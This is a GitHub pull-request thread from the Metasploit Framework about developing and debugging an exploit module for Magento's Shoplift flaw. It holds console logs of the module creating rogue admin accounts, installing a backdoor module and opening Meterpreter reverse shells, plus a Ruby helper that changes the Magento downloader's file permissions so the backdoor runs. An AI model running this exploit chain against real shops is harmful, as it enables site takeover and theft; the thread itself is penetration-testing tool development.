rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
33.03k stars 13.74k forks source link

Add a module for Magento's Shoplift RCE #6250

Closed jvoisin closed 8 years ago

jvoisin commented 8 years ago

This module exploits the infamous Magento's Shoplift vulnerability to create a new admininitrator account, then it creates a backdoor module on the fly, and install it to achieve code execution.

Tested on 1.9.0.0 CE and 1.9.1.0 CE.

Also, please squash this pull-request before merging it. If you're testing this PR, feel free to test this one at the same time.

Console output

msf > use exploit/multi/http/magento_rce
msf exploit(magento_rce) > set RHOST 192.168.1.25
RHOST => 192.168.1.25
msf exploit(magento_rce) > set RPORT 8081
RPORT => 8081
msf exploit(magento_rce) > set TARGETURI /
TARGETURI => /
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account skxQaZQU/ovYoCVXg created on 192.168.1.25:8081
[*] Creating the backdoor file
[*] CSRF token obtained (nBWhtbSPjpBOB6Ag)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Sending stage (33068 bytes) to 192.168.1.25
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:43470) at 2015-11-17 16:56:55 +0100
[*] Backdoor package removed
[*] Account skxQaZQU/ovYoCVXg deleted on 192.168.1.25:8081

meterpreter > getuid
Server username: www-data (33)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.25 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(magento_rce) >

How to reproduce

  1. [x] Get the "Community Edition" of magento on its website (Feel free to use bugmenot@mailinator.com/Password1 to log in)
  2. [x] Install apache2 and php on your machine,
  3. [x] Extract the Magento archive into your /var/www
  4. [x] Launch metasploit, use exploit/multi/http/magento_rce, set options
  5. [ ] Get your meterpreter session
wchen-r7 commented 8 years ago

I should be able to test this.

madmike33 commented 8 years ago

Great Job Again :)

jvoisin commented 8 years ago

I'm going to take a look at those issues this week-end :)

Dhamuharker commented 8 years ago

hi jvoisin how to magento_rce ... donwload ? send me linke ?

wchen-r7 commented 8 years ago

I'm going to take a look at those issues this week-end :)

Ok thanks!

jvoisin commented 8 years ago

Now it's tested on 1.9.1.0 and 1.9.0.0, and it works in both cases.

wchen-r7 commented 8 years ago

@jvoisin thanks, I will try again.

wchen-r7 commented 8 years ago

@jvoisin I tested and this is how far I got:

msf exploit(magento_rce) > show options

Module options (exploit/multi/http/magento_rce):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.1.202        yes       The target address
   RPORT      80                   yes       The target port
   TARGETURI  /magento/index.php/  yes       URI to Magento
   VHOST                           no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.199    yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   auto

msf exploit(magento_rce) > check
[*] 192.168.1.202:80 - The target appears to be vulnerable.
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[*] Account GCbITyxU/WYlUpAQq created on 192.168.1.202:80
[-] Exploit aborted due to failure: bad-config: Unable to login at /magento/index.php/downloader/index.php to get the session cookie.

Some notes:

  1. It looks like the check works by indicating the right vulnerable state.
  2. I have to set the target uri to /magento/index.php/ to get the account creation to work. But in your demo, that's not your target uri.
  3. In your module, your #get_csrf_token is looking for a form_key hidden input from the Magento downloader login page. My downloader login page does not have this hidden input. If you want, I have the HTML source for the login page here: https://gist.github.com/wchen-r7/847a8d1246395bdbf7b1

So I am a little baffled about this. Our Magento 1.9.0.0 setups are supposed to be the same, being able to create an account proves that. But for some reason, it looks like my Magento is slightly different than yours... probably just slightly, but enough to cause the exploit to fail.

I wish I could give you more info, but I don't know what kind of stuff you want... for starters, I guess I'll post screenshots of the Magento version I'm on, and the filename I downloaded:

From the downloader login page:

screen shot 2015-11-23 at 11 56 33 pm

The admin page footer:

screen shot 2015-11-23 at 11 48 48 pm

The file I downloaded for testing

$ md5 magento-1.9.0.0.tar-2015-02-10-09-43-45.gz 
MD5 (magento-1.9.0.0.tar-2015-02-10-09-43-45.gz) = 2b1e07bd76ffa067b4c2302803aa69a3

Please let me know if you spot anything unusual on my end. Thanks.

jvoisin commented 8 years ago

Try to set TARGETURI to /magento instead :)

msf > use exploit/multi/http/magento_rce
msf exploit(magento_rce) > set RHOST 192.168.1.25
RHOST => 192.168.1.25
msf exploit(magento_rce) > set RPORT 8080
RPORT => 8080
msf exploit(magento_rce) > set TARGETURI /index.php
TARGETURI => /index.php
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account bhFYBqfC/sNIcKrZv created on 192.168.1.25:8080
[-] Exploit aborted due to failure: bad-config: Unable to login at /index.php/downloader/index.php to get the session cookie.
[-] Exploit failed: Unable to login at /index.php/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > set TARGETURI /
TARGETURI => /
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account tILmjEZa/iodlHspg created on 192.168.1.25:8080
[*] Creating the backdoor file
[*] CSRF token obtained (ueBUtBtk8YEl2vr1)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Sending stage (33068 bytes) to 192.168.1.25
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:59730) at 2015-11-25 10:20:39 +0100
getuid
[*] Backdoor package removed
[*] Account tILmjEZa/iodlHspg deleted on 192.168.1.25:8080

meterpreter > getuid
Server username: www-data (33)
meterpreter >
wchen-r7 commented 8 years ago

@jvoisin

msf > use exploits/multi/http/magento_rce
msf exploit(magento_rce) > set rhost 192.168.1.202
rhost => 192.168.1.202
msf exploit(magento_rce) > set TARGETURI /magento
TARGETURI => /magento
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[-] Exploit aborted due to failure: not-vulnerable: Unable to create the account NTcjZwNI/ETVNlUKp}.
[-] Exploit failed: Unable to login at /magento/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > 
jvoisin commented 8 years ago

I'm testing on magento-1.9.0.0.tar-2015-02-10-44-23.bz2, I'm going to try with your version.

Have you tried the poc? Does it work on your side?

Also, my update should take care of the absence/presence of csrf token.

jvoisin commented 8 years ago

I just tested on the exact same version than your, and it's working flawlessly :/

[*] Started reverse handler on 192.168.1.11:4444 
[*] Account fcXHSqcT/DDjMUrfN created on 192.168.1.25:8888
[*] Creating the backdoor file
[*] CSRF token obtained (zeBAsBjqgqCRlc4O)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Sending stage (33068 bytes) to 192.168.1.25
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.25:43278) at 2015-11-27 16:59:31 +0100
[*] Backdoor package removed
[*] Account fcXHSqcT/DDjMUrfN deleted on 192.168.1.25:8888

meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.1.25 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(magento_rce) >
wchen-r7 commented 8 years ago

Have you tried the poc? Does it work on your side?

Yeah the PoC works for me:

screen shot 2015-11-27 at 11 15 57 am

screen shot 2015-11-27 at 11 18 04 am

screen shot 2015-11-27 at 11 16 47 am

wchen-r7 commented 8 years ago

@jvoisin how come your magento is on port 8080 when magento is just a folder that you can move to /var/www/html, and install? Shouldn't it be port 80? Unless you are running an installer that's configuring for you?

jvoisin commented 8 years ago

Since I don't have much space on my laptop, I'm running several magento instances on the same VM, the 1.9.0.0 on 8080, 1.9.1.0 on 8081, and the 1.9.0.0 from the same archive than your on 8888.

wchen-r7 commented 8 years ago

@jvoisin The account creation code works from both your exploit and the public PoC when the right path is given, it's just that what happens after that doesn't.

This shows that I am testing on the latest commit:

$ git checkout upstream/pr/6250
Note: checking out 'upstream/pr/6250'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b new_branch_name

HEAD is now at 7e511a2... Improvements for cross-version compatibility
msf sinn3r $ msfconsole
msf > use exploit/multi/http/magento_rce 
msf exploit(magento_rce) > show options

Module options (exploit/multi/http/magento_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                       yes       The target address
   RPORT      80               yes       The target port
   TARGETURI  /magento         yes       URI to Magento
   VHOST                       no        HTTP server virtual host

Exploit target:

   Id  Name
   --  ----
   0   auto

msf exploit(magento_rce) > set rhost 192.168.1.202
rhost => 192.168.1.202
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[-] Exploit aborted due to failure: not-vulnerable: Unable to create the account JdJMfsxg/wMfPzEKc}.
[-] Exploit failed: Unable to login at /magento/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > set targeturi /magento/index.php/
targeturi => /magento/index.php/
msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.1.199:4444 
[*] Account tiRfBpHx/MiYehcdr created on 192.168.1.202:80
[-] Exploit aborted due to failure: bad-config: Unable to login at /magento/index.php/downloader/index.php to get the session cookie.
[-] Exploit failed: Unable to login at /magento/index.php/downloader/index.php to get the session cookie.
msf exploit(magento_rce) > set targeturi /magento/index.php
targeturi => /magento/index.php
msf exploit(magento_rce) >

Did you enable URL rewrite? I remember that being one of the settings during installation.

jvoisin commented 8 years ago

This is my nginx configuration:

server {
    listen 0.0.0.0:8080  default;
    listen 192.168.1.25:8080;
    server_name _;
    root /var/www2/;
    index index.php;

    location = /js/index.php/x.js { rewrite ^(.*\.php)/ $1 last; }

    location / { try_files $uri $uri/ @rewrite; }
    location @rewrite { rewrite / /index.php?$args; }
    location ~ \.php$ {
    try_files $uri =404;
    fastcgi_pass unix:/var/run/php5-fpm.sock;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    }
}

For the installation, nothing funky, everything on default.

jvoisin commented 8 years ago

I'll try with apache this week-end, this is driving me crazy!

wchen-r7 commented 8 years ago

LOL

Yeah I am on Apache (LAMP). Ubuntu 14.04.3.

jvoisin commented 8 years ago

It seems to be Apache2's url-rewriting related :/

jvoisin commented 8 years ago

I can't manage to make this module work with Apache's rewriting. Yet.

wchen-r7 commented 8 years ago

OK, thanks for the update!

jvoisin commented 8 years ago

I can log in successfully, but it seems that the cookie isn't valid, this is super-weird.

wchen-r7 commented 8 years ago

In obtain_session_cookie?

jvoisin commented 8 years ago

Yes : I get the cookie, the answer is a nice administration webpage, but I can't re-use it elsewhere.

jvoisin commented 8 years ago

Ok, it seems that there is some magic involved:

Set-Cookie: PHPSESSID=b5srler96adicpioj4ecblqq10; expires=Wed, 02-Dec-2015 22:56:11 GMT; Max-Age=3600; path=/magento/downloader; domain=192.168.1.17; httponly
Set-Cookie: PHPSESSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/magento/downloader; domain=192.168.1.17; httponly
Set-Cookie: PHPSESSID=qlflbsk7rb6q21ga5sil449pd4; expires=Wed, 02-Dec-2015 22:56:11 GMT; Max-Age=3600; path=/magento/downloader; domain=192.168.1.17; HttpOnly

Anyway, don't lose your time on this PR, I'll manage to eventually get something working :)

wchen-r7 commented 8 years ago

No problem at all. Please feel free to share what you have, I'm always reading :-)

jvoisin commented 8 years ago

Holyshitfuckwtfyeahzomg:

[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.17:49402) at 2015-12-02 23:33:38 +0100

It always was a one-line fix ;) I'm cleaning up my mess, expect an update soon™

wchen-r7 commented 8 years ago

nice :-)

wchen-r7 commented 8 years ago

cool, I will try again when I'm done with my current task, thanks!

wchen-r7 commented 8 years ago

@jvoisin It looks a little better, but I got no shell:

msf exploit(magento_rce) > run

[*] Started reverse handler on 192.168.0.100:4444 
[*] Account VlFJgaCu/IVOKLcNO created on 192.168.0.169:80
[*] Creating the backdoor file
[*] CSRF token obtained (DF96TQe8mtmXqEzp)
[*] Installing the malicious module
[*] Malicious module installed
[*] Requesting malicious webpage
[*] Backdoor package removed
[*] Account VlFJgaCu/IVOKLcNO deleted on 192.168.0.169:80
[*] Exploit completed, but no session was created.
msf exploit(magento_rce) > check
[*] 192.168.0.169:80 - The target appears to be vulnerable.
msf exploit(magento_rce) >

As far as I can tell, the backdoor (#create_backdoor) didn't actually install either even though I got a 200 HTTP response.

wchen-r7 commented 8 years ago

@jvoisin How would you like to move forward? Please let us know. Thanks.

jvoisin commented 8 years ago

I'm a bit discouraged to be honest, but I'll likely try to make this work on a fresh magento installation this week-end.

Did you checked Apache URl rewriting in the installation process ?

wchen-r7 commented 8 years ago

I don't think I checked that box while installing, I'm more than happy to try again. I'll let you know, thanks!

johnlockejrr commented 8 years ago

[*] Exploit completed, but no session was created.

This is because the malicious module writes the PHP file with "666" permissions and not "644" as it should, so under the most Magento installations the PHP file won't be run.

jvoisin commented 8 years ago

@johnlockejrr If you change to 666, does it work?

johnlockejrr commented 8 years ago

@jvoisin needs to be "644" on most installations to work, that's the reason it fails on most installations I tried. Trying to find a switch in building the module (package.xml) to force writing the PHP file with "644" permissions and not "666".

jvoisin commented 8 years ago

Arg, it was a typo from my side, I meant "If you change to 644, does it work?", sorry :/

johnlockejrr commented 8 years ago

Yes, with "644" works on any installations with PHP like "Apache2, Nginx, LightHTTPD", some PHP won't run a PHP script if is world-writable or group-writable. Any idea how can we achieve this with package installer?

jvoisin commented 8 years ago

I'm so glad someone found why @wchen-r7 couldn't get a shell ♥

Check here and here.

johnlockejrr commented 8 years ago

I even made the malicious module from Magento package manager and manually, checked if the PHP file is "644" in the *.tgz archive, and tried uploading like magento does as Content-Type: application/octet-stream but with same result file being written with "666" permission.

jvoisin commented 8 years ago

This is weird, since the is the way magento uses to install modules, that are executables by php.

johnlockejrr commented 8 years ago

Yup, I tried using another directory than errors, like root directory of the Magento, same result, still trying since two days to figure out a way that the file will be written with 644 permissions ;-) Even changed your script as tar.add_file("errors/#{page_name}", 0644) do |io| and tar.add_file("package.xml", 0644) do |io| so the files are added as 644 in the tar file... the same result with exploit or manually from Package Manager.

johnlockejrr commented 8 years ago

Btw, @jvoisin you should add some error check when accessing the /downloader/ path, some installs have upload folder write permissions disabled so you can check the error returned in the get_csrf_token function with something like res.body.match(/Your Magento folder does not have sufficient write permissions/)

johnlockejrr commented 8 years ago

Found it! You can change default file permissions in Settings: POST /downloader/index.php?A=settingsPost HTTP/1.1' with a POST query:protocol=http&preferred_state=stable&use_custom_permissions_mode=1&mkdir_mode=755&chmod_file_mode=644&deployment_type=fs&ftp_host=&ftp_login=&ftp_password=&ftp_path=response code isHTTP/1.1 301 Moved PermanentlyorHTTP/1.1 302 Moved Temporarily`

jvoisin commented 8 years ago

Great! Feel free to issue a PR on top of mine :)

johnlockejrr commented 8 years ago

The function to set file permissions should look something like this:


  def set_file_permissions(cookie=nil)
    print_status "Setting custom file permissions"
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, '/downloader/index.php'),
      'ctype' => 'application/x-www-form-urlencoded',
      'cookie' => cookie,
      'vars_get' => {
        'A' => 'settingsPost'
      },
      'vars_post' => {
        'protocol' => 'http',
        'preferred_state' => 'stable',
        'use_custom_permissions_mode' => '1',
        'mkdir_mode' => '755',
        'chmod_file_mode' => '644',
        'deployment_type' => 'fs',
        'ftp_host' => '',
        'ftp_login' => '',
        'ftp_password => '',
        'ftp_path' => ''
      }
    })
    if res.code == 301 or res.code == 302
      print_status "File permissions set"
    else
      print_warnings "Error setting file permissions"
    end
  end
johnlockejrr commented 8 years ago

Works flawlessly now ;)

johnlockejrr commented 8 years ago

BTW, you should add check for this error Warning: Your Magento folder does not have sufficient write permissions. when accessing the /downloader/ and if found exit because there's no way to upload the malicious module.

jvoisin commented 8 years ago

Perfect then :) I added the check.

@wchen-r7 Can you test it on your side?